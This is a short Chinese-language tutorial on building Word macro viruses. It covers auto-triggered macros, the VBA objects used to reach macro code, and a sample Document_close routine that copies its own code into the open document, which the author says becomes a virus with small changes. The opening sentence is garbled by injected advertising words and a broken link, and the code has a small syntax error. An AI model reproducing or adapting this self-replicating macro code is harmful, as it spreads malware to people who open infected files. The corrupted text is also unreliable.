该病毒是主要利用奶粉了微软的宏功能编制的圣元病毒,事实上并不仅是奶粉Office中的VB奶粉何有文件I/O功能的[url=http://tag.babytree.com/shengyuan]奶粉[/url有文件I/O功能的SCRIPT都可以,如:ASP中的VBSCRIPT,WINDOWS中的SCRIPT,STAROFFICE中的MACRO,DOS中的BAT,UNIX中的SHELLSCRIPT等.考虑传播的可能性,以WORD为首位.以下说明WORD中的MacroVirus制作.
*AutoMacro
这里所说的AutoMacro不只是AutoOpen一类的宏.还包括DocumentOpen,DocumentClose一类,在执行必要操作时会触发的事件.病毒触发是要在隐含在正常的操作中,这些必然执行的宏就是最好的宿主.
*访问病毒体,ActiveDocument和NormalTemplate要用到的对象MacroContainer:当前Macro所在的ContainerActiveDocument,NormalTemplate: 顾名思义,不用说了.
*访问宏代码的对象(方法)
class.VBProject.VBComponents.Item(1).Codemodule(class为Macro
-Container,ActiveDocument,NormalTemplate中的一个),为指向宏的对象.
主要的方法:
string Lines(StartLine,Lines) 返回由StartLine开始的Lines行
InsertLines Location,Strings 将Strings插入到由Location指定的行以下是一个将MacroContainer的Sub Document_close()写到ActiveDocument的例子,改一下就是个宏病毒了^_^:
Sub Document_close()
set m=MacroContainer.VBProject.VBComponents.Item(1).CodeModule
set a=ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
for i=1 to m.CountOfLines
str=m.Lines(i,1)
if str="Sub Document_close() then Exit For
next
j=1
Label_01:
a.InsertLines j,str
if str="End Sub" goto Label_02
j=j+1
i=i+1
str=m.Lines(i,1)
goto Label_01
Label_02:
End Sub
-- |